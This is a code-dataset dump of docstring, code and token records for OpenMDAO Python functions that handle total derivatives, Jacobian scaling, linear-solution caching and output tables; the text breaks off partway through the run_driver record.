Uses an approximation method, e.g., fd or cs to calculate the derivatives.
Parameters
----------
initialize : bool
Set to True to... |
Compute derivatives of desired quantities with respect to desired inputs.
Uses an approximation method, e.g., fd or cs to calculate the derivatives.
Parameters
----------
initialize : bool
Set to True to re-initialize the FD in model. This is only needed when manua... | Compute derivatives of desired quantities with respect to desired inputs.
Uses an approximation method, e.g., fd or cs to calculate the derivatives.
Parameters
initialize : bool
Set to True to re-initialize the FD in model. This is only needed when manually
calling compute_totals on the problem.
Returns
derivs : ob... | [
"Compute",
"derivatives",
"of",
"desired",
"quantities",
"with",
"respect",
"to",
"desired",
"inputs",
".",
"Uses",
"an",
"approximation",
"method",
"e",
".",
"g",
".",
"fd",
"or",
"cs",
"to",
"calculate",
"the",
"derivatives",
".",
"Parameters",
"initialize",... | def compute_totals_approx(self, initialize=False):
of = self.of
wrt = self.wrt
model = self.model
return_format = self.return_format
for vec_name in model._lin_vec_names:
model._vectors['input'][vec_name].set_const(0.0)
model._vectors['output'][vec_name].s... | [
"def",
"compute_totals_approx",
"(",
"self",
",",
"initialize",
"=",
"False",
")",
":",
"of",
"=",
"self",
".",
"of",
"wrt",
"=",
"self",
".",
"wrt",
"model",
"=",
"self",
".",
"model",
"return_format",
"=",
"self",
".",
"return_format",
"for",
"vec_name... | Compute derivatives of desired quantities with respect to desired inputs. | [
"Compute",
"derivatives",
"of",
"desired",
"quantities",
"with",
"respect",
"to",
"desired",
"inputs",
"."
] | [
"\"\"\"\n Compute derivatives of desired quantities with respect to desired inputs.\n\n Uses an approximation method, e.g., fd or cs to calculate the derivatives.\n\n Parameters\n ----------\n initialize : bool\n Set to True to re-initialize the FD in model. This is onl... | [
{
"param": "self",
"type": null
},
{
"param": "initialize",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "initialize",
"type": null,
"docstring": null,
"docstring_toke... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _restore_linear_solution | null | def _restore_linear_solution(self, vec_names, key, mode):
"""
Restore the previous linear solution.
Parameters
----------
vec_names : list of str
Names of output vectors to restore.
key : hashable object
Key to lookup linear solution.
mode... |
Restore the previous linear solution.
Parameters
----------
vec_names : list of str
Names of output vectors to restore.
key : hashable object
Key to lookup linear solution.
mode : str
Direction of derivative solution.
| Restore the previous linear solution.
Parameters
vec_names : list of str
Names of output vectors to restore.
key : hashable object
Key to lookup linear solution.
mode : str
Direction of derivative solution. | [
"Restore",
"the",
"previous",
"linear",
"solution",
".",
"Parameters",
"vec_names",
":",
"list",
"of",
"str",
"Names",
"of",
"output",
"vectors",
"to",
"restore",
".",
"key",
":",
"hashable",
"object",
"Key",
"to",
"lookup",
"linear",
"solution",
".",
"mode"... | def _restore_linear_solution(self, vec_names, key, mode):
lin_sol_cache = self.lin_sol_cache
if key in lin_sol_cache:
lin_sol = lin_sol_cache[key]
for i, vec_name in enumerate(vec_names):
save_vec = lin_sol[i]
doutputs = self.output_vec[mode][vec_n... | [
"def",
"_restore_linear_solution",
"(",
"self",
",",
"vec_names",
",",
"key",
",",
"mode",
")",
":",
"lin_sol_cache",
"=",
"self",
".",
"lin_sol_cache",
"if",
"key",
"in",
"lin_sol_cache",
":",
"lin_sol",
"=",
"lin_sol_cache",
"[",
"key",
"]",
"for",
"i",
... | Restore the previous linear solution. | [
"Restore",
"the",
"previous",
"linear",
"solution",
"."
] | [
"\"\"\"\n Restore the previous linear solution.\n\n Parameters\n ----------\n vec_names : list of str\n Names of output vectors to restore.\n key : hashable object\n Key to lookup linear solution.\n mode : str\n Direction of derivative solut... | [
{
"param": "self",
"type": null
},
{
"param": "vec_names",
"type": null
},
{
"param": "key",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "vec_names",
"type": null,
"docstring": null,
"docstring_token... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _save_linear_solution | null | def _save_linear_solution(self, vec_names, key, mode):
"""
Save the current linear solution.
Parameters
----------
vec_names : list of str
Names of output vectors to restore.
key : hashable object
Key to lookup linear solution.
mode : str
... |
Save the current linear solution.
Parameters
----------
vec_names : list of str
Names of output vectors to restore.
key : hashable object
Key to lookup linear solution.
mode : str
Direction of derivative solution.
| Save the current linear solution.
Parameters
vec_names : list of str
Names of output vectors to restore.
key : hashable object
Key to lookup linear solution.
mode : str
Direction of derivative solution. | [
"Save",
"the",
"current",
"linear",
"solution",
".",
"Parameters",
"vec_names",
":",
"list",
"of",
"str",
"Names",
"of",
"output",
"vectors",
"to",
"restore",
".",
"key",
":",
"hashable",
"object",
"Key",
"to",
"lookup",
"linear",
"solution",
".",
"mode",
... | def _save_linear_solution(self, vec_names, key, mode):
lin_sol = self.lin_sol_cache[key]
for i, vec_name in enumerate(vec_names):
save_vec = lin_sol[i]
doutputs = self.output_vec[mode][vec_name]
save_vec[:] = doutputs._data | [
"def",
"_save_linear_solution",
"(",
"self",
",",
"vec_names",
",",
"key",
",",
"mode",
")",
":",
"lin_sol",
"=",
"self",
".",
"lin_sol_cache",
"[",
"key",
"]",
"for",
"i",
",",
"vec_name",
"in",
"enumerate",
"(",
"vec_names",
")",
":",
"save_vec",
"=",
... | Save the current linear solution. | [
"Save",
"the",
"current",
"linear",
"solution",
"."
] | [
"\"\"\"\n Save the current linear solution.\n\n Parameters\n ----------\n vec_names : list of str\n Names of output vectors to restore.\n key : hashable object\n Key to lookup linear solution.\n mode : str\n Direction of derivative solution.... | [
{
"param": "self",
"type": null
},
{
"param": "vec_names",
"type": null
},
{
"param": "key",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "vec_names",
"type": null,
"docstring": null,
"docstring_token... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _do_scaling | null | def _do_scaling(self, J):
"""
Apply scalers to the jacobian if the driver defined any.
Parameters
----------
J : dict
Jacobian to be scaled.
"""
# use promoted names for design vars and responses
desvars = self.prom_design_vars
respons... |
Apply scalers to the jacobian if the driver defined any.
Parameters
----------
J : dict
Jacobian to be scaled.
| Apply scalers to the jacobian if the driver defined any.
Parameters
J : dict
Jacobian to be scaled. | [
"Apply",
"scalers",
"to",
"the",
"jacobian",
"if",
"the",
"driver",
"defined",
"any",
".",
"Parameters",
"J",
":",
"dict",
"Jacobian",
"to",
"be",
"scaled",
"."
] | def _do_scaling(self, J):
desvars = self.prom_design_vars
responses = self.prom_responses
if self.return_format in ('dict', 'array'):
for prom_out, odict in iteritems(J):
oscaler = responses[prom_out]['scaler']
for prom_in, val in iteritems(odict):
... | [
"def",
"_do_scaling",
"(",
"self",
",",
"J",
")",
":",
"desvars",
"=",
"self",
".",
"prom_design_vars",
"responses",
"=",
"self",
".",
"prom_responses",
"if",
"self",
".",
"return_format",
"in",
"(",
"'dict'",
",",
"'array'",
")",
":",
"for",
"prom_out",
... | Apply scalers to the jacobian if the driver defined any. | [
"Apply",
"scalers",
"to",
"the",
"jacobian",
"if",
"the",
"driver",
"defined",
"any",
"."
] | [
"\"\"\"\n Apply scalers to the jacobian if the driver defined any.\n\n Parameters\n ----------\n J : dict\n Jacobian to be scaled.\n \"\"\"",
"# use promoted names for design vars and responses",
"# Scale response side",
"# Scale design var side",
"# Scale respo... | [
{
"param": "self",
"type": null
},
{
"param": "J",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "J",
"type": null,
"docstring": null,
"docstring_tokens": [],
... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _print_derivatives | null | def _print_derivatives(self):
"""
Print out the derivatives when debug_print is True.
"""
if self.return_format == 'dict':
J = self.J_dict
for of in self.of:
for wrt in self.wrt:
pprint.pprint({(of, wrt): J[of][wrt]})
el... |
Print out the derivatives when debug_print is True.
| Print out the derivatives when debug_print is True. | [
"Print",
"out",
"the",
"derivatives",
"when",
"debug_print",
"is",
"True",
"."
] | def _print_derivatives(self):
if self.return_format == 'dict':
J = self.J_dict
for of in self.of:
for wrt in self.wrt:
pprint.pprint({(of, wrt): J[of][wrt]})
else:
J = self.J
for i, of in enumerate(self.of):
... | [
"def",
"_print_derivatives",
"(",
"self",
")",
":",
"if",
"self",
".",
"return_format",
"==",
"'dict'",
":",
"J",
"=",
"self",
".",
"J_dict",
"for",
"of",
"in",
"self",
".",
"of",
":",
"for",
"wrt",
"in",
"self",
".",
"wrt",
":",
"pprint",
".",
"pp... | Print out the derivatives when debug_print is True. | [
"Print",
"out",
"the",
"derivatives",
"when",
"debug_print",
"is",
"True",
"."
] | [
"\"\"\"\n Print out the derivatives when debug_print is True.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | record_derivatives | null | def record_derivatives(self, requester, metadata):
"""
Record derivatives to the recorder.
Parameters
----------
requester : <Driver>
Object requesting derivatives.
metadata : dict
Dictionary containing execution metadata.
"""
self... |
Record derivatives to the recorder.
Parameters
----------
requester : <Driver>
Object requesting derivatives.
metadata : dict
Dictionary containing execution metadata.
| Record derivatives to the recorder.
Parameters
requester :
Object requesting derivatives.
metadata : dict
Dictionary containing execution metadata. | [
"Record",
"derivatives",
"to",
"the",
"recorder",
".",
"Parameters",
"requester",
":",
"Object",
"requesting",
"derivatives",
".",
"metadata",
":",
"dict",
"Dictionary",
"containing",
"execution",
"metadata",
"."
] | def record_derivatives(self, requester, metadata):
self._recording_iter.stack.append((requester._get_name(), requester.iter_count))
try:
totals = self._get_dict_J(self.J, self.wrt, self.prom_wrt, self.of, self.prom_of,
self.wrt_meta, self.of_meta, 'flat_... | [
"def",
"record_derivatives",
"(",
"self",
",",
"requester",
",",
"metadata",
")",
":",
"self",
".",
"_recording_iter",
".",
"stack",
".",
"append",
"(",
"(",
"requester",
".",
"_get_name",
"(",
")",
",",
"requester",
".",
"iter_count",
")",
")",
"try",
"... | Record derivatives to the recorder. | [
"Record",
"derivatives",
"to",
"the",
"recorder",
"."
] | [
"\"\"\"\n Record derivatives to the recorder.\n\n Parameters\n ----------\n requester : <Driver>\n Object requesting derivatives.\n metadata : dict\n Dictionary containing execution metadata.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "requester",
"type": null
},
{
"param": "metadata",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "requester",
"type": null,
"docstring": null,
"docstring_token... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _check_voi_meta | null | def _check_voi_meta(name, parallel_deriv_color, matmat, simul_coloring):
"""
Check the contents of the given metadata for incompatible options.
An exception will be raised if options are incompatible.
Parameters
----------
name : str
Name of the variable.
parallel_deriv_color : str... |
Check the contents of the given metadata for incompatible options.
An exception will be raised if options are incompatible.
Parameters
----------
name : str
Name of the variable.
parallel_deriv_color : str
Color of parallel deriv grouping.
matmat : bool
If True, ve... | Check the contents of the given metadata for incompatible options.
An exception will be raised if options are incompatible.
Parameters
name : str
Name of the variable.
parallel_deriv_color : str
Color of parallel deriv grouping.
matmat : bool
If True, vectorize derivatives for this variable.
simul_coloring : ndarray
... | [
"Check",
"the",
"contents",
"of",
"the",
"given",
"metadata",
"for",
"incompatible",
"options",
".",
"An",
"exception",
"will",
"be",
"raised",
"if",
"options",
"are",
"incompatible",
".",
"Parameters",
"name",
":",
"str",
"Name",
"of",
"the",
"variable",
".... | def _check_voi_meta(name, parallel_deriv_color, matmat, simul_coloring):
if simul_coloring:
if parallel_deriv_color:
raise RuntimeError("Using both simul_coloring and parallel_deriv_color with "
"variable '%s' is not supported." % name)
if matmat:
... | [
"def",
"_check_voi_meta",
"(",
"name",
",",
"parallel_deriv_color",
",",
"matmat",
",",
"simul_coloring",
")",
":",
"if",
"simul_coloring",
":",
"if",
"parallel_deriv_color",
":",
"raise",
"RuntimeError",
"(",
"\"Using both simul_coloring and parallel_deriv_color with \"",
... | Check the contents of the given metadata for incompatible options. | [
"Check",
"the",
"contents",
"of",
"the",
"given",
"metadata",
"for",
"incompatible",
"options",
"."
] | [
"\"\"\"\n Check the contents of the given metadata for incompatible options.\n\n An exception will be raised if options are incompatible.\n\n Parameters\n ----------\n name : str\n Name of the variable.\n parallel_deriv_color : str\n Color of parallel deriv grouping.\n matmat : bo... | [
{
"param": "name",
"type": null
},
{
"param": "parallel_deriv_color",
"type": null
},
{
"param": "matmat",
"type": null
},
{
"param": "simul_coloring",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "name",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "parallel_deriv_color",
"type": null,
"docstring": null,
"docs... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _fix_pdc_lengths | null | def _fix_pdc_lengths(idx_iter_dict):
"""
Take any parallel_deriv_color entries and make sure their index arrays are same length.
Parameters
----------
idx_iter_dict : dict
Dict of a name/color mapped to indexing information.
"""
for imeta, _ in itervalues(idx_iter_dict):
par... |
Take any parallel_deriv_color entries and make sure their index arrays are same length.
Parameters
----------
idx_iter_dict : dict
Dict of a name/color mapped to indexing information.
| Take any parallel_deriv_color entries and make sure their index arrays are same length.
Parameters
idx_iter_dict : dict
Dict of a name/color mapped to indexing information. | [
"Take",
"any",
"parallel_deriv_color",
"entries",
"and",
"make",
"sure",
"their",
"index",
"arrays",
"are",
"same",
"length",
".",
"Parameters",
"idx_iter_dict",
":",
"dict",
"Dict",
"of",
"a",
"name",
"/",
"color",
"mapped",
"to",
"indexing",
"information",
"... | def _fix_pdc_lengths(idx_iter_dict):
for imeta, _ in itervalues(idx_iter_dict):
par_deriv_color = imeta['par_deriv_color']
matmat = imeta['matmat']
range_list = imeta['idx_list']
if par_deriv_color:
if not matmat:
lens = np.array([end - start for start, en... | [
"def",
"_fix_pdc_lengths",
"(",
"idx_iter_dict",
")",
":",
"for",
"imeta",
",",
"_",
"in",
"itervalues",
"(",
"idx_iter_dict",
")",
":",
"par_deriv_color",
"=",
"imeta",
"[",
"'par_deriv_color'",
"]",
"matmat",
"=",
"imeta",
"[",
"'matmat'",
"]",
"range_list",... | Take any parallel_deriv_color entries and make sure their index arrays are same length. | [
"Take",
"any",
"parallel_deriv_color",
"entries",
"and",
"make",
"sure",
"their",
"index",
"arrays",
"are",
"same",
"length",
"."
] | [
"\"\"\"\n Take any parallel_deriv_color entries and make sure their index arrays are same length.\n\n Parameters\n ----------\n idx_iter_dict : dict\n Dict of a name/color mapped to indexing information.\n \"\"\"",
"# just convert all (start, end) tuples to aranges"
] | [
{
"param": "idx_iter_dict",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "idx_iter_dict",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _update_rel_systems | null | def _update_rel_systems(all_rel_systems, rel_systems):
"""
Combine all relevant systems in those cases where we have multiple input variables involved.
Parameters
----------
all_rel_systems : set
Current set of all relevant system names.
rel_systems : set
Set of relevant system ... |
Combine all relevant systems in those cases where we have multiple input variables involved.
Parameters
----------
all_rel_systems : set
Current set of all relevant system names.
rel_systems : set
Set of relevant system names for the latest iteration.
| Combine all relevant systems in those cases where we have multiple input variables involved.
Parameters
all_rel_systems : set
Current set of all relevant system names.
rel_systems : set
Set of relevant system names for the latest iteration. | [
"Combine",
"all",
"relevant",
"systems",
"in",
"those",
"cases",
"where",
"we",
"have",
"multiple",
"input",
"variables",
"involved",
".",
"Parameters",
"all_rel_systems",
":",
"set",
"Current",
"set",
"of",
"all",
"relevant",
"system",
"names",
".",
"rel_system... | def _update_rel_systems(all_rel_systems, rel_systems):
if all_rel_systems is _contains_all or rel_systems is _contains_all:
all_rel_systems = _contains_all
else:
all_rel_systems.update(rel_systems) | [
"def",
"_update_rel_systems",
"(",
"all_rel_systems",
",",
"rel_systems",
")",
":",
"if",
"all_rel_systems",
"is",
"_contains_all",
"or",
"rel_systems",
"is",
"_contains_all",
":",
"all_rel_systems",
"=",
"_contains_all",
"else",
":",
"all_rel_systems",
".",
"update",... | Combine all relevant systems in those cases where we have multiple input variables involved. | [
"Combine",
"all",
"relevant",
"systems",
"in",
"those",
"cases",
"where",
"we",
"have",
"multiple",
"input",
"variables",
"involved",
"."
] | [
"\"\"\"\n Combine all relevant systems in those cases where we have multiple input variables involved.\n\n Parameters\n ----------\n all_rel_systems : set\n Current set of all relevant system names.\n rel_systems : set\n Set of relevant system names for the latest iteration.\n \"\"\"... | [
{
"param": "all_rel_systems",
"type": null
},
{
"param": "rel_systems",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "all_rel_systems",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "rel_systems",
"type": null,
"docstring": null,
"do... |
5328949532975d864610997d70a31cdb36cf11e6 | gsoxley/OpenMDAO | openmdao/utils/write_outputs.py | [
"Apache-2.0"
] | Python | write_outputs | <not_specific> | def write_outputs(in_or_out, comp_type, dict_of_outputs, hierarchical, print_arrays,
out_stream, pathname, var_allprocs_abs_names):
"""
Write table of variable names, values, residuals, and metadata to out_stream.
The output values could actually represent input variables.
In this con... |
Write table of variable names, values, residuals, and metadata to out_stream.
The output values could actually represent input variables.
In this context, outputs refers to the data that is being logged to an output stream.
Parameters
----------
in_or_out : str, 'input' or 'output'
in... | Write table of variable names, values, residuals, and metadata to out_stream.
The output values could actually represent input variables.
In this context, outputs refers to the data that is being logged to an output stream.
Parameters
in_or_out : str, 'input' or 'output'
indicates whether the values passed in are fro... | [
"Write",
"table",
"of",
"variable",
"names",
"values",
"residuals",
"and",
"metadata",
"to",
"out_stream",
".",
"The",
"output",
"values",
"could",
"actually",
"represent",
"input",
"variables",
".",
"In",
"this",
"context",
"outputs",
"refers",
"to",
"the",
"... | def write_outputs(in_or_out, comp_type, dict_of_outputs, hierarchical, print_arrays,
out_stream, pathname, var_allprocs_abs_names):
count = len(dict_of_outputs)
pathname = pathname if pathname else 'model'
header_name = 'Input' if in_or_out == 'input' else 'Output'
if in_or_out == 'inp... | [
"def",
"write_outputs",
"(",
"in_or_out",
",",
"comp_type",
",",
"dict_of_outputs",
",",
"hierarchical",
",",
"print_arrays",
",",
"out_stream",
",",
"pathname",
",",
"var_allprocs_abs_names",
")",
":",
"count",
"=",
"len",
"(",
"dict_of_outputs",
")",
"pathname",... | Write table of variable names, values, residuals, and metadata to out_stream. | [
"Write",
"table",
"of",
"variable",
"names",
"values",
"residuals",
"and",
"metadata",
"to",
"out_stream",
"."
] | [
"\"\"\"\n Write table of variable names, values, residuals, and metadata to out_stream.\n\n The output values could actually represent input variables.\n In this context, outputs refers to the data that is being logged to an output stream.\n\n Parameters\n ----------\n in_or_out : str, 'input' or ... | [
{
"param": "in_or_out",
"type": null
},
{
"param": "comp_type",
"type": null
},
{
"param": "dict_of_outputs",
"type": null
},
{
"param": "hierarchical",
"type": null
},
{
"param": "print_arrays",
"type": null
},
{
"param": "out_stream",
"type": nul... | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "in_or_out",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "comp_type",
"type": null,
"docstring": null,
"docstring_... |
5328949532975d864610997d70a31cdb36cf11e6 | gsoxley/OpenMDAO | openmdao/utils/write_outputs.py | [
"Apache-2.0"
] | Python | _write_outputs_rows | <not_specific> | def _write_outputs_rows(out_stream, row, column_names, dict_of_outputs, print_arrays):
"""
For one variable, write name, values, residuals, and metadata to out_stream.
Parameters
----------
out_stream : file-like object
Where to send human readable output.
Set to None to suppress.
... |
For one variable, write name, values, residuals, and metadata to out_stream.
Parameters
----------
out_stream : file-like object
Where to send human readable output.
Set to None to suppress.
row : str
The string containing the contents of the beginning of this row output.
... | For one variable, write name, values, residuals, and metadata to out_stream.
Parameters
out_stream : file-like object
Where to send human readable output.
Set to None to suppress.
row : str
The string containing the contents of the beginning of this row output.
Contains the name of the System or varname, possibley ind... | [
"For",
"one",
"variable",
"write",
"name",
"values",
"residuals",
"and",
"metadata",
"to",
"out_stream",
".",
"Parameters",
"out_stream",
":",
"file",
"-",
"like",
"object",
"Where",
"to",
"send",
"human",
"readable",
"output",
".",
"Set",
"to",
"None",
"to"... | def _write_outputs_rows(out_stream, row, column_names, dict_of_outputs, print_arrays):
if out_stream is None:
return
left_column_width = len(row)
have_array_values = []
for column_name in column_names:
row += column_spacing * ' '
if isinstance(dict_of_outputs[column_name], np.n... | [
"def",
"_write_outputs_rows",
"(",
"out_stream",
",",
"row",
",",
"column_names",
",",
"dict_of_outputs",
",",
"print_arrays",
")",
":",
"if",
"out_stream",
"is",
"None",
":",
"return",
"left_column_width",
"=",
"len",
"(",
"row",
")",
"have_array_values",
"=",
... | For one variable, write name, values, residuals, and metadata to out_stream. | [
"For",
"one",
"variable",
"write",
"name",
"values",
"residuals",
"and",
"metadata",
"to",
"out_stream",
"."
] | [
"\"\"\"\n For one variable, write name, values, residuals, and metadata to out_stream.\n\n Parameters\n ----------\n out_stream : file-like object\n Where to send human readable output.\n Set to None to suppress.\n row : str\n The string containing the contents of the beginning o... | [
{
"param": "out_stream",
"type": null
},
{
"param": "row",
"type": null
},
{
"param": "column_names",
"type": null
},
{
"param": "dict_of_outputs",
"type": null
},
{
"param": "print_arrays",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "out_stream",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "row",
"type": null,
"docstring": null,
"docstring_token... |
73bc73a65a4ac7dd01d9c3ab5e6828da41a3f70d | gsoxley/OpenMDAO | openmdao/matrices/csc_matrix.py | [
"Apache-2.0"
] | Python | _post_update | null | def _post_update(self):
"""
Do anything that needs to be done at the end of AssembledJacobian._update.
"""
coo = self._coo
# this will add any repeated entries together
# NOTE: this form of the ctor was used instead of self._coo.tocsc() because
# on older versions... |
Do anything that needs to be done at the end of AssembledJacobian._update.
| Do anything that needs to be done at the end of AssembledJacobian._update. | [
"Do",
"anything",
"that",
"needs",
"to",
"be",
"done",
"at",
"the",
"end",
"of",
"AssembledJacobian",
".",
"_update",
"."
] | def _post_update(self):
coo = self._coo
self._matrix = csc_matrix((coo.data, (coo.row, coo.col)), shape=coo.shape) | [
"def",
"_post_update",
"(",
"self",
")",
":",
"coo",
"=",
"self",
".",
"_coo",
"self",
".",
"_matrix",
"=",
"csc_matrix",
"(",
"(",
"coo",
".",
"data",
",",
"(",
"coo",
".",
"row",
",",
"coo",
".",
"col",
")",
")",
",",
"shape",
"=",
"coo",
"."... | Do anything that needs to be done at the end of AssembledJacobian._update. | [
"Do",
"anything",
"that",
"needs",
"to",
"be",
"done",
"at",
"the",
"end",
"of",
"AssembledJacobian",
".",
"_update",
"."
] | [
"\"\"\"\n Do anything that needs to be done at the end of AssembledJacobian._update.\n \"\"\"",
"# this will add any repeated entries together",
"# NOTE: this form of the ctor was used instead of self._coo.tocsc() because",
"# on older versions of scipy the row/col arrays are reused and the resu... | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
befd7c7739f47a6fd508d7cde5e3efbf9c91cc18 | gsoxley/OpenMDAO | openmdao/solvers/linesearch/backtracking.py | [
"Apache-2.0"
] | Python | _iter_initialize | <not_specific> | def _iter_initialize(self):
"""
Perform any necessary pre-processing operations.
Returns
-------
float
initial error.
float
error at the first iteration.
"""
system = self._system
self.alpha = self.options['alpha']
... |
Perform any necessary pre-processing operations.
Returns
-------
float
initial error.
float
error at the first iteration.
| Perform any necessary pre-processing operations.
Returns
float
initial error.
float
error at the first iteration. | [
"Perform",
"any",
"necessary",
"pre",
"-",
"processing",
"operations",
".",
"Returns",
"float",
"initial",
"error",
".",
"float",
"error",
"at",
"the",
"first",
"iteration",
"."
] | def _iter_initialize(self):
system = self._system
self.alpha = self.options['alpha']
u = system._outputs
du = system._vectors['output']['linear']
self.alpha = 1.
self._run_apply()
norm0 = self._iter_get_norm()
if norm0 == 0.0:
norm0 = 1.0
... | [
"def",
"_iter_initialize",
"(",
"self",
")",
":",
"system",
"=",
"self",
".",
"_system",
"self",
".",
"alpha",
"=",
"self",
".",
"options",
"[",
"'alpha'",
"]",
"u",
"=",
"system",
".",
"_outputs",
"du",
"=",
"system",
".",
"_vectors",
"[",
"'output'",... | Perform any necessary pre-processing operations. | [
"Perform",
"any",
"necessary",
"pre",
"-",
"processing",
"operations",
"."
] | [
"\"\"\"\n Perform any necessary pre-processing operations.\n\n Returns\n -------\n float\n initial error.\n float\n error at the first iteration.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | run_model | null | def run_model(self, case_prefix=None, reset_iter_counts=True):
"""
Run the model by calling the root system's solve_nonlinear.
Parameters
----------
case_prefix : str or None
Prefix to prepend to coordinates when recording.
reset_iter_counts : bool
... |
Run the model by calling the root system's solve_nonlinear.
Parameters
----------
case_prefix : str or None
Prefix to prepend to coordinates when recording.
reset_iter_counts : bool
If True and model has been run previously, reset all iteration counters... | Run the model by calling the root system's solve_nonlinear.
Parameters
case_prefix : str or None
Prefix to prepend to coordinates when recording.
reset_iter_counts : bool
If True and model has been run previously, reset all iteration counters. | [
"Run",
"the",
"model",
"by",
"calling",
"the",
"root",
"system",
"'",
"s",
"solve_nonlinear",
".",
"Parameters",
"case_prefix",
":",
"str",
"or",
"None",
"Prefix",
"to",
"prepend",
"to",
"coordinates",
"when",
"recording",
".",
"reset_iter_counts",
":",
"bool"... | def run_model(self, case_prefix=None, reset_iter_counts=True):
if self._mode is None:
raise RuntimeError("The `setup` method must be called before `run_model`.")
if case_prefix:
if not isinstance(case_prefix, str):
raise TypeError("The 'case_prefix' argument shoul... | [
"def",
"run_model",
"(",
"self",
",",
"case_prefix",
"=",
"None",
",",
"reset_iter_counts",
"=",
"True",
")",
":",
"if",
"self",
".",
"_mode",
"is",
"None",
":",
"raise",
"RuntimeError",
"(",
"\"The `setup` method must be called before `run_model`.\"",
")",
"if",
... | Run the model by calling the root system's solve_nonlinear. | [
"Run",
"the",
"model",
"by",
"calling",
"the",
"root",
"system",
"'",
"s",
"solve_nonlinear",
"."
] | [
"\"\"\"\n Run the model by calling the root system's solve_nonlinear.\n\n Parameters\n ----------\n case_prefix : str or None\n Prefix to prepend to coordinates when recording.\n\n reset_iter_counts : bool\n If True and model has been run previously, reset al... | [
{
"param": "self",
"type": null
},
{
"param": "case_prefix",
"type": null
},
{
"param": "reset_iter_counts",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "case_prefix",
"type": null,
"docstring": null,
"docstring_tok... |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | run_driver | <not_specific> | def run_driver(self, case_prefix=None, reset_iter_counts=True):
"""
Run the driver on the model.
Parameters
----------
case_prefix : str or None
Prefix to prepend to coordinates when recording.
reset_iter_counts : bool
If True and model has been ... |
Run the driver on the model.
Parameters
----------
case_prefix : str or None
Prefix to prepend to coordinates when recording.
reset_iter_counts : bool
If True and model has been run previously, reset all iteration counters.
Returns
----... | Run the driver on the model.
Parameters
case_prefix : str or None
Prefix to prepend to coordinates when recording.
reset_iter_counts : bool
If True and model has been run previously, reset all iteration counters.
Returns
boolean
Failure flag; True if failed to converge, False is successful. | [
"Run",
"the",
"driver",
"on",
"the",
"model",
".",
"Parameters",
"case_prefix",
":",
"str",
"or",
"None",
"Prefix",
"to",
"prepend",
"to",
"coordinates",
"when",
"recording",
".",
"reset_iter_counts",
":",
"bool",
"If",
"True",
"and",
"model",
"has",
"been",... | def run_driver(self, case_prefix=None, reset_iter_counts=True):
if self._mode is None:
